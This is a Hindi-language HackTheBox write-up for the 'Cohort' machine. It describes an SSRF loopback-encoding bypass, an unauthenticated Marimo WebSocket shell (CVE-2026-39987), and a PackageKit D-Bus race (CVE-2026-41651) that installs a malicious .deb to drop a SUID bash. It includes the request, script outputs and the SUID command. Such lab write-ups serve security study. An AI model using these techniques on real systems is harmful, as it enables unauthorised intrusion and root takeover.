
HTB Cohort - SSRF, Marimo pre-auth RCE (CVE-2026-39987) और PackageKit privesc (CVE-2026-41651)
मशीन Cohort (HackTheBox)। पूरी किल चेन:
/api/validate) में SSRF → आंतरिक vhost डिस्कवरीmarimo के रूप में शेलफ्लैग्स जानबूझकर शामिल नहीं किए गए हैं (HTB नियम)।
10.129.93.8 cohort.htb
/api/... एंडपॉइंट्स)nb-1be3782a8afd3ad5.cohort.htb), बाहरी रूप से एक्सपोज़्ड नहींऐप ने एक URL वैलिडेशन एंडपॉइंट एक्सपोज़ किया था जो रिमोट कंटेंट फ़ेच करता था और उसे रिफ्लेक्ट करता था। URL फ़िल्टर को लूपबैक एड्रेस को एन्कोड करके बायपास किया जा सकता था:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
इसने आंतरिक nginx को हिट किया और कॉन्फ़िगर किए गए upstreams को उजागर किया, जिसमें
आंतरिक Marimo vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888 भी शामिल था।
Marimo के नोटबुक WebSocket टर्मिनल हैंडलर ने ऑथेंटिकेशन वैलिडेट नहीं किया।
/terminal/ws से कनेक्ट करने पर pty.fork() के माध्यम से एक bash शेल स्पॉन होता है।
आंतरिक vhost बाहरी nginx के माध्यम से आंतरिक Host हेडर भेजकर पहुँचा जा सकता था:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
परिणाम: marimo के रूप में शेल (uid 1000)।
marimo के रूप में एन्यूमरेशनdpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit वर्शन्स कमज़ोर TOCTOU पैटर्न से मेल खाते हैंuser.txt /home/marimo/user.txt परPackageKit 1.2.8 में एक time-of-check / time-of-use दोष है: GLib idle callback द्वारा पढ़े जाने वाले ट्रांज़ैक्शन रोल और
फ्लैग्स को एक ही ट्रांज़ैक्शन पर दो async D-Bus कॉल जारी करके रेस किया जा सकता है, जिससे प्रिविलेज्ड बैकएंड दूसरी कॉल (रोल NONE,
कोई auth चेक नहीं) चलाता है, भले ही पहली कॉल (SIMULATE) पहले ही ऑथराइज़ेशन चेक पास कर चुकी हो।
एक ही ट्रांज़ैक्शन पर दो कॉल बैक-टू-बैक जारी किए जाते हैं:
InstallFiles(SIMULATE=4) — polkit ऑथराइज़ेशन चेक पास करता हैInstallFiles(NONE=0) — दुर्भावनापूर्ण .deb ले जाता है, जिसे उसी मैसेज बैच के हिस्से के रूप में पढ़ा जाता हैदुर्भावनापूर्ण .deb root के रूप में एक postinst स्क्रिप्ट चलाता है जो एक SUID bash ड्रॉप करता है:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
मुख्य विवरण: दोनों कॉल को एक साथ फ्लश किया जाना चाहिए ताकि बैकएंड दोनों मैसेज एक ही बैच में पढ़े। GIO async call() + flush_sync() का उपयोग करें:
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
प्रारंभिक एक्सप्लॉइट ने python-dbus का उपयोग किया था:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus दोनों InstallFiles कॉल को अलग-अलग राइट्स में सीरियलाइज़ करता है, इसलिए बैकएंड के idle callback ने उन्हें अलग-अलग इवेंट्स के रूप में प्रोसेस किया और रेस कभी हिट नहीं हुई।
GIO का flush_sync दोनों D-Bus मैसेज को एक ही राइट बैच में भेजता है → रेस जीत ली गई।
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt पठनीय।
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)